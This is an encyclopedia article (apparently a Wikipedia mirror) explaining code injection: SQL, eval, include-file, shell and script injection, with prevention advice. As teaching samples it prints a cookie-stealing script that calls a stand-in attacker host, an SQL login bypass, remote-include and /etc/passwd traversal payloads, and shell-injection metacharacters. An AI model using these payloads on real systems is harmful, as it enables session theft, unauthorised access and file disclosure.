Code injection

Code injection

Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a code injection attack can be disastrous. For instance, code injection is used by some computer worms to propagate.

Contents

Overview and example

A web server has a guestbook script, which accepts small messages from users, and typically receives messages such as

 Very Nice site!

However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as

 Nice Site,  I think I'll take it.>
 <script>document.location='http://some_attacker/cookie.cgi?' +document.cookie
 </script>

If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.

 That post was awesome, >:) 

Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data.[1] Classic examples of dangerous assumptions a software developer might make about the input to a program include:

  • assuming that metacharacters for an API never occurs in an input; e.g. assuming punctuation like quotation marks or semi-colons would never appear
  • assuming only numeric characters will be entered as input
  • assuming the input will never exceed a certain size
  • assuming that numeric values are within the upper and lower bounds
  • assuming that client supplied values set by server (such as hidden form fields or cookies), cannot be modified by client. This assumption ignores known attacks such as Cookie poisoning, in which values are set arbitrarily by malicious clients.
  • assuming that it is okay to pick pointers or array indexes from input
  • assuming an input would never provide false information about itself or related values, such as the size of a file[2]

Analogy

Certain types of code injection are errors in interpretation, giving special meaning to mere user input. Similar interpretation errors exist outside the world of computer science such as the comedy routine Who's on First?. In the routine, there is a failure to distinguish proper names from regular words. Likewise, in some types of code injection, there is a failure to distinguish user input from system commands.

Uses of code injection

Intentional use

Malevolent

Use of code injection is typically viewed as a malevolent action, and it often is. Code injection techniques are popular in system hacking or cracking to gain information, Privilege escalation or unauthorized access to a system.

Code injection can be used malevolently to:

  • Arbitrarily modify values in a database through a type of code injection called SQL injection. The impact of this can range from defacement of a web site to serious compromise of sensitive data.
  • Install malware on a computer by exploiting code injection vulnerabilities in a web browser or its plugins when the user visits a malicious site.
  • Install malware or execute malevolent code on a server, by PHP or ASP Injection.
  • Privilege escalation to root permissions by exploiting Shell Injection vulnerabilities in a setuid root binary on UNIX.
  • Privilege escalation to Local System permissions by exploiting Shell Injection vulnerabilities in a service on Windows.
  • Stealing sessions/cookies from web browsers using HTML/Script Injection (Cross-site scripting).

Benevolent

Some people may use code injections with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can "trick" the system into behaving in a certain way without any malicious intent.[3][4] Code injection could, for example,:

  • Introduce a useful new column that did not appear in the original design of a search results page.
  • Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.

Someone might resort to this sort of work-around because other ways of modifying the software to function as desired:

  • Prove impossible, or
  • Are too expensive, or
  • Become too frustrating or painful.

This technique of code injection is considered less robust then proper code modification, and is often called a kludge or hack.

Some developers allow or even promote the use of code injection to "enhance" their software, usually because this solution offers a less expensive way to implement new or specialized features. The side effects and unaccounted implications can, unfortunately, be very dangerous.

Even well-intentioned use of code injection is discouraged in general.

Unintentional use

Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:

  • What the user may consider a valid input may contain token characters or character strings that have been reserved by the developer to have special meaning (perhaps the "&" in "Shannon & Jason", or quotation marks as in "Bub 'Slugger' McCracken").
  • The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the receiving system.

Preventing code injection

To prevent code injection problems, utilize secure input and output handling, such as:

  • Input validation
  • Selective input inclusion/exclusion
  • Escaping dangerous characters. For instance, in PHP, using the htmlspecialchars() function (converts HTML tags to their ISO-8859-1 equivalents) and/or strip_tags() function (completely removes HTML tags) for safe output of text in HTML, and mysql_real_escape_string() to isolate data which will be included in an SQL request, to protect against SQL Injection.
  • Input encoding
  • Output encoding
  • Other coding practices which are not prone to code injection vulnerabilities, such as "parameterized SQL queries" (also known as "prepared statements" and sometimes "bound variables" or "bound values").
  • Modular shell disassociation from kernel
  • Sloppy coding for functionality

The solutions listed above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches need to be taken however, when you are dealing with injection of user code on the user machine, resulting in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:

  • Runtime image hash validation - capture a hash of a part or complete image of the executable loaded into memory, and compare it with stored and expected hash.
  • NX bit - all user data is stored in a special memory sections that are marked as non-executable. The processor is made aware that no code exists in that part of memory, and refuses to execute anything found in there.

Example of Selective Input Inclusion/Exclusion in PHP

<?php
// SELECTIVE INCLUSION
$expected_field_names = array('name','email','message');
 
foreach($_POST as $var => $val){
    if(in_array($var, $expected_field_names)){
        // HANDLE INPUT
    }
}
 
// SELECTIVE EXCLUSION
$field_names_no_print = array('submit','hidden_field');
 
foreach($_POST as $var => $val){
    if(!in_array($var, $field_names_no_print)){
        print $var . ' = ' . $val;
    }
}
?>

Examples of code injection

SQL injection

SQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.

For example, consider a web page has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL query to check the password against the list of user names:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code ("password' OR '1'='1") in the Password field, then the resulting query will look like this:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.

The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

Dynamic evaluation vulnerabilities

Steven M. Christey of Mitre Corporation suggests this name for a class of code injection vulnerabilities.

Dynamic evaluation vulnerabilities - eval injection

An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.[5]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

Dynamic evaluation vulnerabilities - dynamic variable evaluation

As defined in "Dynamic Evaluation Vulnerabilities in PHP applications": PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous.

A number of applications have code such as the following:

$safevar = "0";
$param1 = "";
$param2 = "";
$param3 = "";
# my own "register globals" for param[1,2,3]
foreach ($_GET as $key => $value) {
  $$key = $value;
}

If the attacker provides "safevar=bad" in the query string, then $safevar will be set to the value "bad".

Dynamic evaluation vulnerabilities - dynamic function evaluation

The following PHP-examples will execute a function specified by request.

$myfunc = $_GET['myfunc'];
$myfunc();

and:

$myfunc = $_GET['myfunc'];
${"myfunc"}();

Include file injection

Consider this PHP program (which includes a file specified by request):

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:

  • /vulnerable.php?COLOR=http://evil/exploit? - injects a remotely hosted file containing an exploit.
  • /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php
  • /vulnerable.php?COLOR=../../../../../../../../etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
  • /vulnerable.php?COLOR=C:\\notes.txt%00 - example using NULL meta character to remove the .php suffix, allowing access to files other than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)

Shell injection

Shell Injection is named after Unix shells, but applies to most systems which allows software to programmatically execute command line. Typical Shell Injection functions are system(), StartProcess(), java.lang.Runtime.exec(), System.Diagnostics.Process.Start() and similar APIs.

Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word.

<?php
passthru("/home/user/phpguru/funnytext " . $_GET['USER_INPUT']);
?>

This program can be injected in multiple ways:

  • `command` will execute command.
  • $(command) will execute command.
  • ; command will execute command, and output result of command.
  • | command will execute command, and output result of command.
  • && command will execute command, and output result of command.
  • || command will execute command, and output result of command.
  • > /home/user/phpguru/.bashrc will overwrite file .bashrc.
  • < /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.

PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.

HTML-script injection (cross-site scripting)

HTML/Script injection is a popular subject, commonly termed "Cross-Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.

The two basic types are as follows:

Active (Type 1)
This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server.
Passive (Type 2)
This type is more dangerous, as the input is written to a static page, and as such, is persistent.

HTML injection in IE7 via infected DLL

According to an article[6] in UK tech site The Register, HTML injection can also occur if the user has an infected DLL on their system. The article quotes Roger Thompson who claims that "the victims' browsers are, in fact, visiting the PayPal website or other intended URL, but that a dll file that attaches itself to IE is managing to read and modify the html while in transit. The article mentions a phishing attack using this attack that manages to bypass IE7 and Symantec's attempts to detect suspicious sites.

ASP injection

"ASP Injection", "PHP Injection" etc. are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft Active Server Pages, an add-on to Microsoft IIS.

In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities.

Example:

<%
    If Not IsEmpty(Request( "username" ) ) Then
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
        Dim fso, f
        Set fso = CreateObject("Scripting.FileSystemObject")
        Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
        f.Write Request("username") & vbCrLf
        f.close
        Set f = nothing
        Set fso = Nothing
        %>
         <h1>List of logged users:</h1>
         <pre>
        <%
         Server.Execute( "userlog.txt" )
        %>
         </pre>
        <%
    Else
        %>
         <form>
         <input name="username" /><input type="submit" name="submit" />
         </form>
        <%
    End If
%>

In this example, the user is able to insert a command instead of a username.

See also

References

  1. ^ Hope, Paco; Walther, Ben (2008). Web Security Testing Cookbook. O'Reilly Media, Inc.. p. 254. ISBN 978-0-596-51483-9 
  2. ^ Many file formats begin by declaring how much data they hold, along with some other values, up front. Understating the amount of data in this declaration can lead to a buffer overrun in carelessly developed software. For example, a carelessly built web browser. This often exposes a code injection vulnerability. This is the premise behind many security vulnerabilities involving files, especially image and media files.
  3. ^ Srinivasan, Raghunathan. "Towards More Effective Virus Detectors". Arizona State University. http://www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf. Retrieved 18 September 2010. "Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements." 
  4. ^ Symptoms-Based Detection of Bot Processes ]J Morales, E Kartaltepe, S Xu, R Sandhu - Computer Network Security, 2010 - Springer
  5. ^ Christey, Steven M. (2006-05-03). "Dynamic Evaluation Vulnerabilities in PHP applications". Insecure.org. http://seclists.org/lists/fulldisclosure/2006/May/0035.html. Retrieved 2008-11-17. 
  6. ^ Goodin, Dan (2007-05-25). "Strange spoofing technique evades anti-phishing filters, Targets include PayPal, eBay and others". The Register. http://www.theregister.co.uk/2007/05/25/strange_spoofing_technique. Retrieved 2008-11-17. 

External links


Wikimedia Foundation. 2010.

Игры ⚽ Поможем решить контрольную работу

Look at other dictionaries:

  • Injection — may refer to:* Injection (medicine), a method of putting liquid into the body with a syringe and a hollow needle that punctures the skin. * Injective function in mathematics, a function which associates distinct arguments to distinct values *… …   Wikipedia

  • Injection De Dépendances — L injection de dépendances (Dependency Injection) est un mécanisme qui permet d implanter le principe de l Inversion de contrôle. Il consiste à créer dynamiquement (injecter) les dépendances entre les différentes classes en s appuyant… …   Wikipédia en Français

  • Injection de dependances — Injection de dépendances L injection de dépendances (Dependency Injection) est un mécanisme qui permet d implanter le principe de l Inversion de contrôle. Il consiste à créer dynamiquement (injecter) les dépendances entre les différentes classes… …   Wikipédia en Français

  • Code Correcteur — Un code correcteur est une technique de codage basée sur la redondance. Elle est destinée à corriger les erreurs de transmission d une information (plus souvent appelée message) sur une voie de communication peu fiable. La théorie des codes… …   Wikipédia en Français

  • Code coverage — is a measure used in software testing. It describes the degree to which the source code of a program has been tested. It is a form of testing that inspects the code directly and is therefore a form of white box testing.[1] Code coverage was among …   Wikipedia

  • Code Red (computer worm) — Code Red Type Server Jamming Worm The Code Red worm was a computer worm observed on the Internet on July 13, 2001. It attacked computers running Microsoft s IIS web server. The Code Red worm was first discovered and researched by eEye Digital… …   Wikipedia

  • Injection SQL — Une injection SQL est un type d exploitation d une faille de sécurité d une application interagissant avec une base de données, en injectant une requête SQL non prévue par le système et pouvant compromettre sa sécurité. Sommaire 1 Exemple 1.1… …   Wikipédia en Français

  • Code audit — A software code audit is a comprehensive analysis of source code in a programming project with the intent of discovering bugs, security breaches or violations of programming conventions. It is an integral part of the defensive programming… …   Wikipedia

  • Code (set theory) — In set theory, a code for a hereditarily countable set is a set such that there is an isomorphism between (ω,E) and (X, ) where X is the transitive closure of {x}. If X is finite (with cardinality n), then use n×n instead of ω×ω and (n,E) instead …   Wikipedia

  • Code correcteur — Un code correcteur est une technique de codage basée sur la redondance. Elle est destinée à corriger les erreurs de transmission d une information (plus souvent appelée message) sur une voie de communication peu fiable. La théorie des codes… …   Wikipédia en Français

Share the article and excerpts

Direct link
Do a right-click on the link above
and select “Copy Link”